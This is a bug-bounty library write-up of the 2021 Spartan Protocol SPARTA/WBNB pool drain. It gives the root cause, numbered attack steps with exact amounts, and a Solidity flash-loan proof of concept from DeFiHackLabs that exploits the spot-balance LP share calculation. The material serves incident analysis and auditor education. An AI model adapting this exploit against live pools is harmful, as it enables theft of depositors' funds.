# Spartan: LP share calc uses spot balance, pool drained

Spartan's calcLiquidityShare used live balanceOf instead of cached reserves, letting an attacker inflate the pool via donation and drain ~$30.5M with a flash loan.

- Payout: Real-world hack
- Severity: critical
- Program: Spartan
- Analysis by: DeFiHackLabs
- Disclosed: 2021-05-02
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-05/Spartan_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20210502-spartan
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity vuln:accounting-error vuln:business-logic vuln:flash-loan vuln:share-inflation

**Target:** Spartan SPARTA/WBNB liquidity pool (BSC)
**Root cause:** calcLiquidityShare() computed withdrawal amounts from the pool's current balanceOf() rather than cached baseAmountPooled/tokenAmountPooled reserves, so a direct token donation inflated the per-LP-token payout.
**Steps:**
1. Flash loan 100,000 WBNB from PancakeSwap CAKE/WBNB pair via `swap(0, 100_000 ether, address(this), ...)`.
2. Swap WBNB->SPARTA 4x through SPT1_WBNB, each `WBNB.transfer(pool, 1913.17 ether)` then `swapTo(SPARTA, this)`, accumulating ~2,536,613 SPARTA.
3. Add liquidity: transfer all SPARTA + `11_853.33 ether` WBNB, call `addLiquidity()` to mint ~933,350 LP tokens.
4. Swap WBNB->SPARTA 9x more (`1674.02 ether` each) to accumulate ~2,639,121 SPARTA.
5. Donate to pool: transfer all SPARTA + `21_632.14 ether` WBNB directly, inflating spot balance without minting LP.
6. Transfer LP tokens into pool and call `removeLiquidity()`; inflated balanceOf yields ~2,538,199 SPARTA + ~20,694 WBNB for only 11,853 WBNB deposited.
7. Re-add liquidity to recover donated tokens, then `removeLiquidity()` again to extract profits.
8. Swap SPARTA back to WBNB in chunks, repeat steps 1-8 ~8x to drain pool, repay flash loan `amount1 * 1000 / 997`.
**How found:** Peckshield root-cause analysis: the share calculation queried live balanceOf() instead of cached baseAmountPooled/tokenAmountPooled, making it manipulable by direct transfer (donation) without a sync.
**Exploitation:** Attacker flash-borrowed 100k WBNB, used repeated swaps to build a large LP position, then donated tokens directly to the pool to inflate its balanceOf. Because removeLiquidity priced LP shares off the live balance, burning the LP tokens returned far more than deposited. Re-adding and re-removing liquidity recovered the donation and compounded profit; looped ~8 times to drain the pool, then laundered via 1inch, Nerve and Anyswap.
**Escalation:** Looped the add/donate/remove cycle ~8 times within one flash loan to drain the entire pool rather than a single round's profit.
**Insight:** In AMM-style pools, check whether LP-share/withdraw math reads live token.balanceOf(pool) instead of stored reserves; if so, a plain transfer (donation) skews payouts without minting shares, and removeLiquidity that skips a sync lets you withdraw inflated amounts.

## Proof of concept (copied exactly from the original report)

**Flash loan and swap/add/remove exploit sequence**

```
function testExploit() public {
        CAKE_WBNB.swap(0, 100_000 ether, address(this), "flashloan 100k WBNB");
    }

    function pancakeCall(address, uint256, uint256 amount1, bytes calldata) external {
        // 1: swap WBNB for SPARTA 5 times
        for (uint256 i; i < 4; ++i) {
            WBNB.transfer(address(SPT1_WBNB), 1913.17 ether);
            SPT1_WBNB.swapTo(address(SPARTA), address(this));
        }

        // 2: addLiquidity SPARTA<>WBNB, get LP tokens
        SPARTA.transfer(address(SPT1_WBNB), SPARTA.balanceOf(address(this))); // 2536613.206101067206978364
        WBNB.transfer(address(SPT1_WBNB), 11_853.33 ether);
        SPT1_WBNB.addLiquidity();

        // 3: swap WBNB for SPARTA 10 times (more in this step for less slippage)
        for (uint256 i; i < 9; ++i) {
            WBNB.transfer(address(SPT1_WBNB), 1674.02 ether);
            SPT1_WBNB.swapTo(address(SPARTA), address(this));
        }

        // 4: donate WBNB + SPARTAN to the pool
        SPARTA.transfer(address(SPT1_WBNB), SPARTA.balanceOf(address(this))); // 2639121.977427448690750716
        WBNB.transfer(address(SPT1_WBNB), 21_632.14 ether);

        // 5: removeLiquidity from step 2. Since the pool uses spot balanceOf() to calculate withdraw amounts, we can withdraw more assets than normal
        SPT1_WBNB.transfer(address(SPT1_WBNB), SPT1_WBNB.balanceOf(address(this))); // transfer LP tokens into the pool
        SPT1_WBNB.removeLiquidity(); // important: removeLiquidity() doesn't sync all spot balances into reserves

        // 6: immediately addLiquidity to "recover" donated tokens in step 4
        SPT1_WBNB.addLiquidity();

        // 7: removeLiquidity again to get all assets (with exploited profits) out
        IERC20(address(SPT1_WBNB)).transfer(address(SPT1_WBNB), IERC20(address(SPT1_WBNB)).balanceOf(address(this)));
        SPT1_WBNB.removeLiquidity();

        // 8: swap SPARTA back to WBNB
        uint256 swapAmount = SPARTA.balanceOf(address(this)) / 10;
        for (uint256 i; i < 9; ++i) {
            SPARTA.transfer(address(SPT1_WBNB), swapAmount);
            SPT1_WBNB.swapTo(address(WBNB), address(this));
        }

        // Repeat step 1 -> 8 to fully drain the pool. ~8 times in total

        // repay
        WBNB.transfer(address(CAKE_WBNB), amount1 * 1000 / 997);

        console.log("%s WBNB profit", WBNB.balanceOf(address(this)) / 1e18);
    }
```

